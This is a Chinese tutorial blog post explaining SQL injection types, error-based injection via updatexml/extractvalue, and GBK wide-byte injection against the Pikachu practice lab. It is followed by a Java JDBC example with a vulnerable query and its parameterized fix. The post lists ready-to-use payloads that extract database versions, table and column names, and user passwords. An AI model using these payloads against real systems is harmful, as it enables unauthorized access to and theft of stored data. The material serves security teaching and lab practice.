SQL注入漏洞原理及注入示例

SQL注入漏洞原理:


SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询等操作。

用户可以修改参数或数据,传递给服务端,导致服务端拼接了伪造的SQL查询语句,并将伪造的SQL语句发送给数据库服务端执行,数据库将SQL语句的执行结果,返回给服务端,服务端又将结果返回给客户端,从而获取到敏感信息,甚至危险的代码或系统指令。

服务端接受未经任何处理的相关参数,直接交给数据库执行查询操作。

SQL注入漏洞分类:


按数据类型分类:

数字型注入

注入点数据类型为数字型,不用考虑单双引号。

select * from member where id=1;
select * from member where id=1 or 1=1;

字符型注入

注入点数据类型为字符型,用一对单引号括起来。

select * from member where username='vince';
select * from member where username='vince' or 1=1#';

搜索型注入

也称之为文本框注入,攻击者在文本框中构建SQL语句,执行。搜索型与字符型类似。

select * from member where username like '%xxx%';
select * from member where username like '%xxx%' or 1=1#;

xx型注入

所有特殊写法的SQL语句,并且数据库不会报错,称之为xx型。发现用”)“进行闭合。

select * from member where username=('xx');
select * from member where username=('xx') or 1=1;

json型注入

注入点的数据类型为json数据

{"username":"xx"}
{"username":"xx' or 1=1 #"}

正常查询效果

添加注入查询效果

按提交方式分类:

GET提交

一般通过浏览器直接提交,地址栏可以看见参数。

POST提交

数据在浏览器地址栏看不到,需要抓包。

cookie提交

Cookie,存在用户本地客户端的数据集合,HTTP 请求表单中会携带客户端的 Cookie, 注入点存在 于Cookie 当中的某个字段中。和POST一样,Cookie也要通过抓包来查看。

Payload(攻击载荷):

查看数据库版本
' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#

注入成功效果

按查询语句分类: 

 insert注入

应用程序没有对用户输入的数据进行足够的验证和过滤,攻击者可以通过构造恶意的输入来欺骗应用程序,从而执行非授权的insert操作。

Payload(攻击载荷):

爆表名
admin123'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
爆列名
admin123'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
爆内容
admin123'or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 
#等同于
admin123'or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

burp抓取注册数据包 

添加payload 

执行效果 

update注入

updaate注入和insert注入一样,注入位置一般在登录后台或更新用户信息的地方。

 点击修改个人信息,进入到修改信息页面

delete注入

一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,一般普通的用户是没有权限删除数据的,管理员才行。

报错注入:

报错注入原理:

数据库在执行SQL语句时,会先对SQL语句进行检测,如果SQL语句存在问题,就会返回错误信息。通过这种机制,我们可以构造恶意的SQL语句,触发数据库报错,而在报错信息中就存在我们想要的信息(包含库名、表名等相关信息)。报错注入的前提是服务端没有屏蔽数据库报错信息。

函数updatexml()报错注入

使用前提

在MySQL高版本中大于5.1版本中添加了对xml文档进行查询和修改的函数,updatexml(),extracvalue()而像是错误则需要在开发程序中采用print_r mysql_error()函数,将mysql错误信息输出。

函数作用

改变文档中符合条件的节点,使用不同的xml标记匹配和替换xml快的函数。

函数语法:

UPDATEXML (XML_document, XPath_string, new_value); 
# 参数解释:
# XML_document:String格式,为XML文档对象的名称,文中为Doc
# XPath_string:Xpath格式的字符串,代表路径。和正则功能类似都是匹配用的
# new_value:String格式,替换查找到的符合条件的数据。

实战测试payload(攻击载荷):爆数据库版本

k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

其他payload(攻击载荷):

爆当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)# 
爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
爆表(更改limit 0 遍历所有表)
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='pikachu' limit 2,1)),0)#
爆字段内容
k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

函数extractvalue()报错注入

函数作用

从目标XML中返回包含所查询值的字符串。

函数语法

EXTRACTVALUE (XML_document, XPath_string);
参数解释:
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。

实战测试payload(攻击载荷):爆数据库版本

k' and extractvalue(1,concat(0x7e,(SELECT @@version))) #

宽字节注入:

宽字节注入原理:

宽字节注入的原理是利用数据库和后台程序的编码差异,通过特定的编码组合,使后台程序误以为某些字符是汉字,从而实现SQL注入。

宽字节前提条件:

许多网站,为了防止sql注入,经常会采用一个手段就是引号转义,比如开启全局magic_quotes_gpc =on(魔术引号开关)配置。

在PHP连接MySQL时,如果设置了“character_set_client = gbk”,会导致一个编码转换的问题。

宽字注入方法:

通过在单引号前输入%df,然后将其带入后台程序,在GBK编码下,%df的第一个字节ascii码为0x81,大于128,符合汉字的范围。因此,%df和%5c(单引号的前一个字节)组合后,%5c会被吃掉,变成了一个汉字:“運”,可以闭合前面的单引号,又可以注入成功。

宽字节注入示例:

抓包 

 

修改数据包在%27前加%df 放包

执行效果 

 

  • 45
    点赞
  • 52
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
Java SQL注入是一种常见的安全漏洞,攻击者可以通过构造恶意的SQL语句,获取或修改数据库中的数据。下面是一个简单的Java SQL注入案例: 假设有一个使用JDBC连接数据库的Java程序,其中一个查询用户信息的方法如下: ``` public User getUser(String username, String password) throws SQLException { String sql = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"; Connection conn = DriverManager.getConnection(url, user, passwd); PreparedStatement pstmt = conn.prepareStatement(sql); ResultSet rs = pstmt.executeQuery(); if (rs.next()) { User user = new User(); user.setUsername(rs.getString("username")); user.setPassword(rs.getString("password")); user.setEmail(rs.getString("email")); return user; } else { return null; } } ``` 这个方法接收一个用户名和密码参数,从数据库中查询对应的用户信息。但是,如果攻击者将恶意的SQL语句传递给该方法,就可以造成SQL注入攻击。例如,如果攻击者将用户名参数设置为: ``` john' OR '1'='1 ``` 则构成的SQL语句为: ``` SELECT * FROM users WHERE username='john' OR '1'='1' AND password='xxxxx' ``` 这个SQL语句会返回所有用户的信息,因为'1'='1'永远为真。攻击者可以通过这种方式获取到所有用户的信息,甚至可以修改数据库中的数据。 为了防止SQL注入攻击,应该使用参数化查询,将用户输入的参数作为参数传递给SQL语句。修改上面的代码如下: ``` public User getUser(String username, String password) throws SQLException { String sql = "SELECT * FROM users WHERE username=? AND password=?"; Connection conn = DriverManager.getConnection(url, user, passwd); PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); pstmt.setString(2, password); ResultSet rs = pstmt.executeQuery(); if (rs.next()) { User user = new User(); user.setUsername(rs.getString("username")); user.setPassword(rs.getString("password")); user.setEmail(rs.getString("email")); return user; } else { return null; } } ``` 使用参数化查询后,即使攻击者传递恶意的用户名和密码,也不会造成SQL注入攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值